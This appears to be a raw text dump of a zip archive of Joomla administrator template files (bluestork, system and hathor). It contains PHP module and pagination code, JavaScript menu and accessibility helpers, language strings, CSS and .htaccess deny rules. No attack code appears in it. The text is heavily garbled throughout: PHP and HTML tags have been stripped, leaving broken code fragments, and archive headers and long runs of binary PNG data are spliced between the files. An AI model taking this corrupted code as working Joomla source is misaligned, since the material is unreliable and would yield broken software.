              "; } return $html; } function pagination_item_active(&$item) { if ($item->base>0) return "text."\" onclick=\"document.adminForm." . $item->prefix . "limitstart.value=".$item->base."; Joomla.submitform();return false;\">".$item->text.""; else return "text."\" onclick=\"document.adminForm." . $item->prefix . "limitstart.value=0; Joomla.submitform();return false;\">".$item->text.""; } function pagination_item_inactive(&$item) { return "".$item->text.""; } ?> PK@y>\V#templates/bluestork/html/index.htmlnuW+A PK@y>\[Γ$templates/bluestork/html/modules.phpnuW+A * * This gives template designers ultimate control over how modules are rendered. * * NOTICE: All chrome wrapping methods should be named: modChrome_{STYLE} and take the same * two arguments. */ /* * Module chrome for rendering the module in a submenu */ function modChrome_rounded($module, &$params, &$attribs) { if ($module->content) { ?>
              content; ?>
              PK@y>\)"templates/bluestork/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ydDNN(templates/bluestork/template_preview.pngnuW+APNG  IHDR #N$PLTE?n]\\m6888gɿyyyG3(((`|EEEŜ;fi|Dd{QMkuаheb׽~h*慕qPOO=xkkm999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~q\ pHYs  JIDATx cH׆FX M^X"π jhޮA>f3ggX?~,b1 ,b@;gXPVeal>X[B,`>X q9b)X),֧TOH^ 1y/kɀ~ cvfc$ ,?bĎ_/;9b _6g>>~UZ4KlwYܶ7+S k},^Y׵~LH9c;P\3OX[©$@Vh61Sh_n硡7Dr4Üs`*B%qǼ4&mݽ]9ReuXm@kCtD5nk>FZ/_[@/udS%@n}|nGv;6 曧=Z.ݙ>{suͽns !778|ݞ盇￙yks{û[yݮ5C\1! c>u#zL1[jMm߁d]Uj]w /)É쮭 ]%5|Z 9Ӿ<:ab.骽ޕyTpbDtQk 4v=$y~_/_qJ{.26W7yu+b/ @VYdfJ,ks?JGv=ǴVki,PgcFҤ0L^qb!BlKw;EɂY+^oo^N'ZiU^iWX.@vZpg9^uWa=1YyIw:ܯ /Iџ8W&8AdT;4(X 5^-V RJ%v[2akuiꫴ*Hm.t,u zÍU"/]KߑA!>tCbNn]I$-f@n+@֚qg#ɺX PE8T%@nPZ |_" 2$VCl+voW{EӎaՎg=4^0UVZnSiV3~mB>x:vxR& ք̛?Є:F^Y!r v AI[9zcmr6rY\uWv7du\NB1kqQe5 mZ 8,m nžt4+,O j/2#nDsP=IV,VSSՐ5F鶏P,1>niy!׷ r^u[׀C}BAw6-~Ԯǽ[ 'ՀT2T3VҜ1{CJQ [DyH2e@X| "@Lc*e&m^&Y%éY n7g6}MMEnv* =+|m,Sf >BFVpK( riP1 )1yJU;){M3%!Q:$+ &,r{DVa@gH5G +v |ꕱQ PPk PM$m1oYVcR?naBZ)]R   ષ;e6 jͪTg$υVb׀x/RP"*Yݴ'{S#  7L=Pd8QڀL{- Yu VҘgHK%TXS VX[;˼A/kRҳ15 *@{7 ɾVަwգV\SY޶8*@n#zڽY,N K!2K-Vey&!RU24I=nbUd8UBW7w-e!   CD| aD Da gz82yL8h.[qD֭joW`wѩsF@l4j>}@C%KGR%z! 5\'S9s\"IdUHn2 i ,/]nnn7=Wo٫zfj lwXqȖ䩲-4tiU% Y*4fK_WVf}7FR[kL-@Nܛ^ͽGc$X/Fm߭6i5݉67[ܰXS*TI2 Cxߍanvm.Z}'jb@X,aN,& 7Ь9dpbaX- ŀX? W,& _s jI4ѝQ]';W1D楀>i2Ro(j.`[N8g#)qz=3qڽeo!~9O _F׭?rU/8Y܆(]أ6 lߌQNkѼ#"@9xsT%wU}lnYnn'_{!W&]rwy;?Y> n:u'VƯjlMnSl^$ߥLe];t[/uE}CMk^ lMd#N+}ɇϷC ׀4S+!q0-ҷliaHh4 1RN}@q6# CMO4)8Q 9R67v?(P no]htQ;s<`qJR6/RO@KQ>kǪ"#5QG .ERDȸAq.ۥy,v"Ccn2FeFeNo$~M:GbXxFaޫ_RCooR)Om }lR=a.>*Z>4)Q7<%u= Glfi^ݛ0p'Ws;YR}/3/j iQ"_{ix,Hm>Ҷmlw_}üT{Rˈ=ުG@iV~W/W6K=?l> ý6TPo?jϞh䕑ʒPCwx/¡5Ufvx[ay?,=*ݛIUIC |Sᓂ G /޺7A<ڥhIݸ}6XI0/^jU.n@o#X.lgwl)^{x9:ZT՗fF!NJٮcFv$aFO_3P%7~xG|֙=ՐU]~ m7my0 Y(XR h2OUg~kϽ.]O oE` Ƿxf鵋xS&2,WD R iD֦k`X}>1V{pw7 oב3MfMl" i[{X%pvcͨ]WڽYJ*r9r}r3ȂZSXg x5 uXn'eq^ZCYa:(XuDDL`co"JdPvWe* BM2ȂQbGIE'@›6t ]HT:nІHekK~yynA7}31X. zSm5yU)@a :Bؕ\MVˁ"KB&>I6qnҁӨ `. ݵ8b -,GVZOl& ;7Κm=p*qX.&x{>̃U)ێV[-s8.&TP _U$" AuG g*^ha 'qW[JTCYdAN9Fy-Ih?,BoT$,lJ"" &S*KQԑ7RyA9^3çk@p^9e;?Z$H FW]2i`M+"}iXi'(w^3.Ґ$_| Z;B ԉ$],t!SWT]變橝mvy(#Z#^c*K ?ޭ=Ҭ[ovH㋩R"[;uN`օvvmQt\LTt>jElVҏ]~/('[vF@WY^]}vu^:{^nGՍ/J=Zjn-aҪHN#N\v6Vw2`Lyx=KTXKY#:s3l+PQ% WE,Ub󠪌#ՌTDtku}d(khA?~MƢN- ֞]+(UmSLz1dЊ|[x6Rc4z.E95DXb5^ )L{~wրyHn;(2ҡڜzL۾FY^nްj4 K]tӹ5ھB (t/}VnGq߲~kwj YlS5]y:{jp|a,ֱaHFdz"coK?k߻qf^7x.xaSա8h|^1lfvȶ 9<(U۩<2TH 3?$ rP F4k!.Ʒ-B:^MQ\iHvdzshݗ; ۃ.^9b]3(Fm:{ox/.be{l7DG;EhX6Gͧ`KGkk?0{17c}D-H0pg@t@xG~Nad@'+z"lџ6_%}HqoDda?M9 ӡV/uܓy z{-lA-!H8>X.7=kz60 gOSyet>@uXF}2 /r TB >I{JȨ Sx}2є^>Qt ,\($ iҡdF)ȦfG %Jq(?qn2-Gެ.Cs,fAT̖cYbUmArήyg<`@ BNd[R4 ^WN{NjBU5*RK<^`|M@Y_fWfa옳> G9 !69EŵY/ *T قj< 9 HCiAɀ߷J.QIGZaO.( enX$4ʥ Eh2r +@A&#'#ÀL8qa:H3ySr ȫc4AwnU^<$;gy己(+B*( p,i_:s: *d@>:Z[q*_G9Pa@\ZK.("[( 7NgUHu0Kbr<:Geٕz`@KҜZBz;t@ƪh֢CO@> X~[V1 c0АFRUJHCq4Zlfz@jE 7¡yy. cͼ?f%xpfnPH$/WCN+ pGM@L&/_@x^n;sO+@39-%7Ϥڹ.ZE%ŵwqyYgR{YMT P _[rCMjV Ot(:Ii2g1ǐX1EiJZTݼ, _>\IwD x?M_*bE,T̉G@Me?`/F4a=w d|W;@0= 7'}WIߦųA\fzAղ[AdY }~Ӕ( e@h@`2P'GUD l )NPꢦ2SӝM%Dq2|E,I%7}!B3B0 Կ"L[O9|fH"XM)'δD3=o,y5qDKN WnMsωq@^6eT@Խ++ bˢ0=a@|sՄu9Nl~|Lh~&@P!Qj!QUHG>Htת 'P $Ntܧ%1&Ws1)}I&>h%I0wƀ\܂T u_xW=q0LQIQy@^PQ=UEF"Z U1Wjr{k7&_|9;t@*%eyv^Rr.`A\>Ձ@\RK 98rf⿖=/s'u_i!,1H; A7z7u}- L5~UkD'6z>bag1|"S"_ BNƜ{Bm]㹷KIcq3 1@hg[jxmYBU$ofjvZl.h/nZVmnxFǙ6z;|ô"=b⡞-kEhk"8ܳ=Ƕ%ATѝ &dٰ, @>Uf*'"<@u彤-r;k{>1B5(^gIux$q' J0-Kp%BDIiD},E(Q(8P25\d1!.D?t@?t\A§T(Dhz_֊5>{~@S|kgI3dT٘?ߚ:C=]h.Q_I?UMLH2WI9yhv~y4s@(+<$0Ru63MР̃'c<]V\zp;&=u(cOY~A[q"4'b ZWa⣈FHiUi(%66ITj#=J-:iY 3C3[E,l'3ad ݯ7NVIV5K{^+e \(=yv ]M8 Xr[@L3~d,LK;uk@ u bY(@PJɜ*(I+ysq= V D -=IbbcuBE< !d (O#;Cf1U(LT] Q9ł H=5>T˶yUAg3t|u~YUGD- Savo0s5Z4R+5:vSݨVIB'Et٩=ӜarDNPGʷy12 KQ7;,hmhpw*z'{&sɞщoZT~zj\EBpD;J TOhgx+~iv& +w~0ζ.{ j@%: utbie@䉿H^'g`@jr֎Ba@a@䬀pG!€0 E,D2 X'4F@?tLԗ4T#1e MHHG9UtDHJ|8:+Pc~ BsaxO X"5T;#@# t40ڃ3Hog&jtš &e _5 ȟ.I`?, €0 €0 \a@[yY [Tm1B͗1;GnOimԊnR3U[rOvG>7#CȽAoV6ټ,"/۽}cp/ :11ӆׂ N_,X [a E,-€0 \b@倌(e@ŀW7DL^g`R[4:At~5 iYv E=*jz$Jd2e 'a[9ml닝crxa@_^ׯ_'% ]̀W[v{ k5&σ_ Hz-»f^fUfz|R2+/Oe9OqҶW9v3=)!쿬u; N^ g~g;2riM^X"S)<,._ Hu^n^yUBMq{ O4W#+Ga+Vy//?/yZ_H,4R<7@a9IHx"fcc ^a,u/Ir,;_(f;恹 '__As^mgK%9ygCrJ9 w"yyubY~+|Ntz&@[B3*Lk!DYz|4Dk:ύ=cqV Fޤ_|\NBw^r1;|R}r J"_0 9 w(FUǰΫ3w6Vj>(E(@j伺2"XK,xK5 əq"7M!R: CFDo(`;^D/!-@Ro* ~3;B '}9 _Ww`0:zRRxe$4R'~ xRDau03f:=s44!9> ]/N?p(g @ T5!"1N*ǚ{Z8n/ 2Ko5*X%(>v9euC<Ïu ,)I-xJ K5$V)HyZ0 <O;yu% 3+ӶN+jYV, |-?]He+ ZU yAª e!TmW ם* |@e%j2ȜcљA6..aAȤ ܓypm5灾Ləq wbKY=邐^)Rڊu* 1[Â* +]@6,UiBN)3۶<f~}@Bق SnP"V2ژuqJGŇ*Tm!!y@-@&K _|t〸ƄwMkS A-}xgoa%5dЊX< $Hޯ[ rJfhSW׺vw.:%j1 GiС%q*2Xq8od1VB{Z9inMȷ\9y0(TXLJGg(}[.1}iʀ|B@ R%G\6m%:W+q.@@CYC ,>˲2iJ!ꛘi$ */ iĩ{ &mq~@F*WJv= jLLuU" oƀ {(9oъ :mb+d}~=@B#v1 , O{V,wq\myb;ҺuՁ#]nUWBF%@7JW } %: l97o#w6_M8m #ߎoWU nYNo;E9Wg~9`"ފ .<* If#NI KzM%q䇮hypwE_AI\. Q 84c1r0 B}1NNY?#jg; ^r^8 qs^4u0L [ՃѪ"H-a1@R IdK*/7KN8b1^ @ /Ax"cZ~C ɥ5 <0Z3pN֘E?r0hmQK|z8xI:VD5O^9:)3d< S_X{bgÝ;jP-Q9֔w~ gI\ fB97h7vKH'Ϣ$ ZVRX3xo1Qlfb`Br}K$x%{JƵ2MZ }=&pK"PELlu |QjMdy%kO3uRNW+@t*xCTG{Sǖ? ΫO'|V4d<% P%"5 ԋlIh$v`1irI5\;|J'rq  mv@Lݲy;(} À$ęڊ7]1[e?>1 qvAѤ8 tf+ gbעyqab[~Ejр1KO~eiH#!;l<?< kYk<V78h>M3#dx/#~1ǞWeWRXքd%N-be"]fZjwD ^ma: 40:=""VEx pi`b$wESbY饶 C59yg%=rX< ~(R}ҝBf)( 'RA ;dr )A (uȂWF"aA|䦏dAʂW͏E ! OȽc} -r}s7b{\,F,ªa0qt6$ïPbJR,U2 .F,:!u|paθ֡kud0 Zݓ(gQc6%%2OC Ud-҅)T%a&!*Uc vN!U?qiQ:T]BT+4SihBF+ѼܟYzp~̻|?]^ δ>$wF^pj't1Xg(D4#ͼ> ٓͼHTVa48.G^W I~mF ٳe ߣeh/ğ R+-*(& l\.lIVR^r.kޱ̊kg/25 i4 єE%XWK1, uuʸ{>d%`fG=]P ?È|&`AD͊51i{'_fkԀ4R΄l ts2 7L$ ׻Σf`@p(8UjFaF!(igRLŀ|n@ޫuo€ ƀ|&@?<<sri y?' E)`>! fXaaaaa@X,b@X,b@X Kx/kl'hp"ⸯBkb3ԥ 4L)gˀ`!믔l^b1k:k,VSuuXm@& .G\Kajm]oW'BK!bcb):D"bF# *aaaaaX ŀX ŀX ŀX ŀX ŀX,b@X,b@X,b@X,b@X,b1 ,b1 ,b1 ,b1 ,b1 ,baaaaŀX ŀX ŀX ŀX ŀX b@X,b@X,b@X,b@X,b@X,b1 ,b1 ,b1 ,b1 ,b1 ,aaaaaX ŀX ŀX ŀX ŀX ŀX,b@X,b@X,b@X,b@X,b@X,b1 ,b1 ,b1 ,b1 ,baaaaaX ŀX ŀX ŀX ŀX b@X,b@X,b@X,b@X,b@X,b1 ,b1 ,b1 ,b1 ,b1 ,aaaaaŀX ŀX ŀX ŀX ŀX,b@X,b@X,b@Xϯ-F:)IENDB`PK@y>\\jtemplates/bluestork/js/menu.jsnuW+A/** * @package Joomla.Administrator * @subpackage templates.bluestork * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ var Joomla = Joomla || {}; /** * Joomla Menu javascript behavior */ Joomla.Menu = new Class({ Implements: [Options], options: { disabled: false }, initialize: function(element, options) { this.setOptions(options); this.element = document.id(element); // equalize width of the child LI elements this.element.getElements('li').filter('.node').getElement('ul').each(this._equalizeWidths); if (!this.options.disabled) { this._addMouseEvents(); } this.element.store('menu', this); }, disable: function() { var elements = this.element.getElements('li'); $$(this.element, elements).addClass('disabled'); elements.removeEvents('mouseenter').removeEvents('mouseleave'); }, enable: function() { $$(this.element, this.element.getElements('li')).removeClass('disabled'); this._addMouseEvents(); }, _addMouseEvents: function() { this.element.getElements('li') .removeEvents('mouseenter') .removeEvents('mouseleave') .addEvents({ 'mouseenter': function() { var ul = this.getElement('ul'); if (ul) { ul.fireEvent('show'); } this.addClass('hover'); }, 'mouseleave': function() { var ul = this.getElement('ul'); if (ul) { ul.fireEvent('hide'); } this.removeClass('hover'); } }); }, _equalizeWidths: function(el) { var offsetWidth = 0; var children = el.getElements('li'); //find longest child children.each(function(node) { offsetWidth = (offsetWidth >= node.offsetWidth) ? offsetWidth : node.offsetWidth; }); $$(children, el).setStyle('width', offsetWidth); } }); window.addEvent('domready', function() { var el = document.id('menu'); new Joomla.Menu(el, (el.hasClass('disabled') ? {disabled: true} : {})); });PK@y>\) templates/bluestork/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V!templates/bluestork/js/index.htmlnuW+A PK@y>\Om$$>templates/bluestork/language/en-GB/en-GB.tpl_bluestork.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 BLUESTORK="Bluestork Administrator Template" TPL_BLUESTORK_POSITION_CP_SHELL="Unused" TPL_BLUESTORK_POSITION_CPANEL="Control Panel" TPL_BLUESTORK_POSITION_DEBUG="Debug" TPL_BLUESTORK_POSITION_FOOTER="Footer" TPL_BLUESTORK_POSITION_ICON="Quick Icons" TPL_BLUESTORK_POSITION_LOGIN="Login" TPL_BLUESTORK_POSITION_MENU="Menu" TPL_BLUESTORK_POSITION_STATUS="Status" TPL_BLUESTORK_POSITION_SUBMENU="Submenu" TPL_BLUESTORK_POSITION_TITLE="Title" TPL_BLUESTORK_POSITION_TOOLBAR="Toolbar" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is a template for the Joomla administrator (backend)." PK@y>\V-templates/bluestork/language/en-GB/index.htmlnuW+A PK@y>\FG:templates/bluestork/language/en-GB/en-GB.tpl_bluestork.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 TPL_BLUESTORK_FIELD_CONTRAST_DESC="Increase the contrast for better readability" TPL_BLUESTORK_FIELD_CONTRAST_LABEL="High Contrast" TPL_BLUESTORK_FIELD_SITENAME_DESC="Show the site name instead of generic 'Administration' in the template header." TPL_BLUESTORK_FIELD_SITENAME_LABEL="Show Site Name" TPL_BLUESTORK_FIELD_TEXTBIG_DESC="Increase the size of text for better readability" TPL_BLUESTORK_FIELD_TEXTBIG_LABEL="Bigger Text" TPL_BLUESTORK_HEADER="Administration" TPL_BLUESTORK_XML_DESCRIPTION="

              BlueStork is a template for the Joomla administrator.

              "PK@y>\),templates/bluestork/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)&templates/bluestork/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'templates/bluestork/language/index.htmlnuW+A PK@y>\]y6templates/bluestork/index.phpnuW+AaddStyleSheet('templates/system/css/system.css'); $doc->addStyleSheet('templates/'.$this->template.'/css/template.css'); if ($this->direction == 'rtl') { $doc->addStyleSheet('templates/'.$this->template.'/css/template_rtl.css'); } /** Load specific language related css */ $lang = JFactory::getLanguage(); $file = 'language/'.$lang->getTag().'/'.$lang->getTag().'.css'; if (JFile::exists($file)) { $doc->addStyleSheet($file); } if ($this->params->get('textBig')) { $doc->addStyleSheet('templates/'.$this->template.'/css/textbig.css'); } if ($this->params->get('highContrast')) { $doc->addStyleSheet('templates/'.$this->template.'/css/highcontrast.css'); } ?>
              '.JText::_('JGLOBAL_VIEW_SITE').''; // Print the logout link. $output[] = '' .($hideLinks ? '' : '').JText::_('JLOGOUT').($hideLinks ? '' : '').''; // Output the items. foreach ($output as $item) : echo $item; endforeach; ?>
              PK@y>\ [templates/bluestork/cpanel.phpnuW+AaddStyleSheet('templates/system/css/system.css'); $doc->addStyleSheet('templates/'.$this->template.'/css/template.css'); if ($this->direction == 'rtl') { $doc->addStyleSheet('templates/'.$this->template.'/css/template_rtl.css'); } /** Load specific language related css */ $lang = JFactory::getLanguage(); $file = 'language/'.$lang->getTag().'/'.$lang->getTag().'.css'; if (JFile::exists($file)) { $doc->addStyleSheet($file); } if ($this->params->get('textBig')) { $doc->addStyleSheet('templates/'.$this->template.'/css/textbig.css'); } if ($this->params->get('highContrast')) { $doc->addStyleSheet('templates/'.$this->template.'/css/highcontrast.css'); } ?>
              '.JText::_('JGLOBAL_VIEW_SITE').''; // Print the logout link. $output[] = '' .($hideLinks ? '' : '').JText::_('JLOGOUT').($hideLinks ? '' : '').''; // Output the items. foreach ($output as $item) : echo $item; endforeach; ?>
              countModules('icon')>1):?> 1));?>
              PK@y>\4Fxk templates/bluestork/login.phpnuW+AaddStyleSheet('templates/system/css/system.css'); $doc->addStyleSheet('templates/'.$this->template.'/css/template.css'); if ($this->direction == 'rtl') { $doc->addStyleSheet('templates/'.$this->template.'/css/template_rtl.css'); } /** Load specific language related css */ $lang = JFactory::getLanguage(); $file = 'language/'.$lang->getTag().'/'.$lang->getTag().'.css'; if (JFile::exists($file)) { $doc->addStyleSheet($file); } JHtml::_('behavior.noframes'); ?>
              PK@y>\)templates/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)templates/system/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V templates/system/html/index.htmlnuW+A PK@y>\o0!templates/system/html/modules.phpnuW+Acontent; } /* * xhtml (divs and font header tags) */ function modChrome_xhtml($module, &$params, &$attribs) { $content = trim($module->content); if (!empty ($content)) : ?>
              showtitle != 0) : ?>

              title; ?>

              content); if (!empty($content)) { if ($params->get('automatic_title', '0')=='0') { echo JHtml::_('sliders.panel', $module->title, 'module'.$module->id); } elseif (method_exists('mod'.$module->name.'Helper', 'getTitle')) { echo JHtml::_('sliders.panel', call_user_func_array(array('mod'.$module->name.'Helper','getTitle'), array($params, $module)), 'module'.$module->id); } else { echo JHtml::_('sliders.panel', JText::_('MOD_'.$module->name.'_TITLE'), 'module'.$module->id); } echo $content; } } /* * allows tabs */ function modChrome_tabs($module, &$params, &$attribs) { $content = trim($module->content); if (!empty($content)) { if ($params->get('automatic_title', '0')=='0') { echo JHtml::_('tabs.panel', $module->title, 'module'.$module->id); } elseif (method_exists('mod'.$module->name.'Helper', 'getTitle')) { echo JHtml::_('tabs.panel', call_user_func_array(array('mod'.$module->name.'Helper', 'getTitle'), array($params)), 'module'.$module->id); } else { echo JHtml::_('tabs.panel', JText::_('MOD_'.$module->name.'_TITLE'), 'module'.$module->id); } echo $content; } } PK@y>\)templates/system/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Vtemplates/system/index.htmlnuW+A PK@y>\V"templates/system/images/index.htmlnuW+A PK@y>\)!templates/system/images/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5kk$templates/system/images/calendar.pngnuW+APNG  IHDRa2IDATx^SMkQ=3~j"$L@q!(B(p'(҅ n PHk?BH!j|P[y^%$ygsxU#̸,X3CH* )(yґa׀]v일0R$g86pg?oƛ$  $th(f \#$:akeI'!IdBP[`f\Afftemplates/system/error.phpnuW+A <?php echo $this->error->getCode(); ?> - <?php echo htmlspecialchars($this->error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>

              error->getCode() ?> -

              error->getMessage(), ENT_QUOTES, 'UTF-8'); ?>

              debug) : echo $this->renderBacktrace(); endif; ?>

              PK@y>\(!templates/system/index.phpnuW+A PK@y>\.đ~templates/system/component.phpnuW+A PK@y>\Etemplates/system/css/system.cssnuW+A/** * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /* Import project-level system CSS */ @import url(../../../../media/system/css/system.css);PK@y>\'>>templates/system/css/error.cssnuW+A/** * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ .outline { border: 1px solid #cccccc; background: #ffffff; padding: 2px; } body { margin: 15px; height: 100%; padding: 0; font-family: Arial, Helvetica, Sans Serif; font-size: 11px; color: #333333; background: #ffffff; } .frame { background-color: #FEFCF3; padding: 8px; border: solid 1px #000000; margin-top: 13px; margin-bottom: 25px; } h1 { color: #cc3333; font-size: 18px; } .table { border-collapse: collapse; margin-top: 13px; } td { padding: 3px; padding-left: 5px; padding-right: 5px; border: solid 1px #bbbbbb; font-size: 10px; } .type { background-color: #cc0000; color: #ffffff; font-weight: bold; padding: 3px; }PK@y>\Vtemplates/system/css/index.htmlnuW+A PK@y>\)templates/system/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\7:Ztemplates/hathor/cpanel.phpnuW+AgetTag().'/'.$lang->getTag().'.css'; ?> params->get('colourChoice')) : $colour = 'standard'; else : $colour = htmlspecialchars($this->params->get('colourChoice')); endif; ?> direction == 'rtl') : ?> params->get('boldText')) : ?>
              '.JText::_('JGLOBAL_VIEW_SITE').''; // Print the logout link. $output[] = '' .($hideLinks ? '' : '').JText::_('JLOGOUT').($hideLinks ? '' : '').''; // Output the items. foreach ($output as $item) : echo $item; endforeach; ?>

              countModules('icon')>1):?> 1));?>
              PK@y>\)templates/hathor/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\-  templates/hathor/js/template.jsnuW+A/** * @package Hathor * @copyright Copyright (C) 2005 - 2009 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Functions */ /** * Set focus to username on the login screen */ function setFocus() { if (document.id("login-page")) { document.id("form-login").username.select(); document.id("form-login").username.focus(); } } /** * Change the skip nav target to work with webkit browsers (Safari/Chrome) and * Opera */ function setSkip() { if (Browser.Engine.webkit || Browser.opera) { var target = document.id('skiptarget'); target.href = "#skiptarget"; target.innerText = "Start of main content"; target.setAttribute("tabindex", "0"); document.id('skiplink').setAttribute("onclick", "document.id('skiptarget').focus();"); } } /** * Set the Aria Role based on the id * * @param id * @param rolevalue * @return */ function setRoleAttribute(id, rolevalue) { if (document.id(id)) { document.id(id).setAttribute("role", rolevalue); } } /** * Set the WAI-ARIA Roles Specify the html id then aria role * * @return */ function setAriaRoleElementsById() { setRoleAttribute("header", "banner"); setRoleAttribute("element-box", "main"); setRoleAttribute("footer", "contentinfo"); setRoleAttribute("nav", "navigation"); setRoleAttribute("submenu", "navigation"); setRoleAttribute("system-message", "alert"); } /** * This sets the given Aria Property state to true for the given element * * @param el * The element (tag.class) * @param prop * The property to set to true * @return */ function setPropertyAttribute(el, prop) { if (document.getElements(el)) { document.getElements(el).set(prop, "true"); } } /** * Set the WAI-ARIA Properties Specify the tag.class then the aria property to * set to true If classes are changed on the fly (i.e. aria-invalid) they need * to be changed there instead of here. * * @return */ function setAriaProperties() { setPropertyAttribute("input.required", "aria-required"); setPropertyAttribute("textarea.required", "aria-required"); setPropertyAttribute("input.readonly", "aria-readonly"); setPropertyAttribute("input.invalid", "aria-invalid"); setPropertyAttribute("textarea.invalid", "aria-invalid"); } /** * Process file */ /** from accessible suckerfish menu by Matt Carroll, * mootooled by Bill Tomczak */ window.addEvent('domready', function(){ var menu = document.id('menu'); if (menu && !menu.hasClass('disabled')) { menu.getElements('li').each(function(cel){ cel.addEvent('mouseenter', function(){ this.addClass('sfhover'); }); cel.addEvent('mouseleave', function() { this.removeClass('sfhover'); }); }); menu.getElements('a').each(function(ael) { ael.addEvent('focus', function() { this.addClass('sffocus'); this.getParents('li').addClass('sfhover'); }); ael.addEvent('blur', function() { this.removeClass('sffocus'); this.getParents('li').removeClass('sfhover'); }); }); } }); window.addEvent('domready', function() { setFocus(); setSkip(); setAriaRoleElementsById(); setAriaProperties(); }); /** * For IE6 - Background flicker fix */ try { document.execCommand('BackgroundImageCache', false, true); } catch (e) { } PK@y>\Vtemplates/hathor/js/index.htmlnuW+A PK@y>\?{Stemplates/hathor/css/theme.cssnuW+A@charset "UTF-8"; /** * @package Joomla.Administrator * @subpackage templates.hathor * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @since 1.6 */ /* ThemeOfficeMenu Style Sheet */ .ThemeOfficeMenu, .ThemeOfficeSubMenuTable { font-family: Arial, Verdana, sans-serif; font-size: 13px; padding: 0; white-space: nowrap; cursor: default; height: 25px; } .ThemeOfficeSubMenu { position: absolute; visibility: hidden; /* Netscape/Mozilla renders borders by increasing their z-index. The following line is necessary to cover any borders underneath */ z-index: 100; border: 0; padding: 0; overflow: visible; border: 1px solid #8C867B; filter:progid:DXImageTransform.Microsoft.Shadow(color=#BDC3BD, Direction=135, Strength=4); } .ThemeOfficeSubMenuTable { overflow: visible; } .ThemeOfficeMainItem, .ThemeOfficeMainItemHover, .ThemeOfficeMainItemActive, .ThemeOfficeMenuItem, .ThemeOfficeMenuItemHover, .ThemeOfficeMenuItemActive { border: 0; cursor: default; white-space: nowrap; } .ThemeOfficeMainItem { /*background-color: #EFEBDE;*/ } .ThemeOfficeMainItemHover, .ThemeOfficeMainItemActive { background-color: #e7eddf; } .ThemeOfficeMenuItem { background-color: #F1F3F5; } .ThemeOfficeMenuItemHover, .ThemeOfficeMenuItemActive { background-color: #e7eddf; } /* horizontal main menu */ .ThemeOfficeMainItem { padding: 4px 1px 4px 1px; border: 0; } td.ThemeOfficeMainItemHover, td.ThemeOfficeMainItemActive { padding: 0; border-right: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; } .ThemeOfficeMainFolderLeft, .ThemeOfficeMainItemLeft, .ThemeOfficeMainFolderText, .ThemeOfficeMainItemText, .ThemeOfficeMainFolderRight, .ThemeOfficeMainItemRight { background-color: inherit; } /* vertical main menu sub components */ td.ThemeOfficeMainFolderLeft, td.ThemeOfficeMainItemLeft { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 2px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; background-color: inherit; } td.ThemeOfficeMainFolderText, td.ThemeOfficeMainItemText { padding-top: 2px; padding-bottom: 2px; padding-left: 5px; padding-right: 5px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } td.ThemeOfficeMainFolderRight, td.ThemeOfficeMainItemRight { padding-top: 2px; padding-bottom: 2px; padding-left: 0; padding-right: 0; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-right: 1px solid #6d9d2e; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderLeft, tr.ThemeOfficeMainItem td.ThemeOfficeMainItemLeft { padding-top: 3px; padding-bottom: 3px; padding-left: 1px; padding-right: 2px; white-space: nowrap; border: 0; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderText, tr.ThemeOfficeMainItem td.ThemeOfficeMainItemText { padding-top: 3px; padding-bottom: 3px; padding-left: 5px; padding-right: 5px; border: 0; background-color: inherit; } tr.ThemeOfficeMainItem td.ThemeOfficeMainItemRight, tr.ThemeOfficeMainItem td.ThemeOfficeMainFolderRight { padding-top: 3px; padding-bottom: 3px; padding-left: 0; padding-right: 1px; border: 0; background-color: inherit; } /* sub menu sub components */ .ThemeOfficeMenuFolderLeft, .ThemeOfficeMenuItemLeft { padding-top: 2px; padding-bottom: 2px; padding-left: 1px; padding-right: 3px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; border-left: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuFolderText, .ThemeOfficeMenuItemText { padding-top: 2px; padding-bottom: 2px; padding-left: 5px; padding-right: 5px; border-top: 1px solid #6d9d2e; border-bottom: 1px solid #6d9d2e; background-color: inherit; white-space: nowrap; } .ThemeOfficeMenuFolderRight, 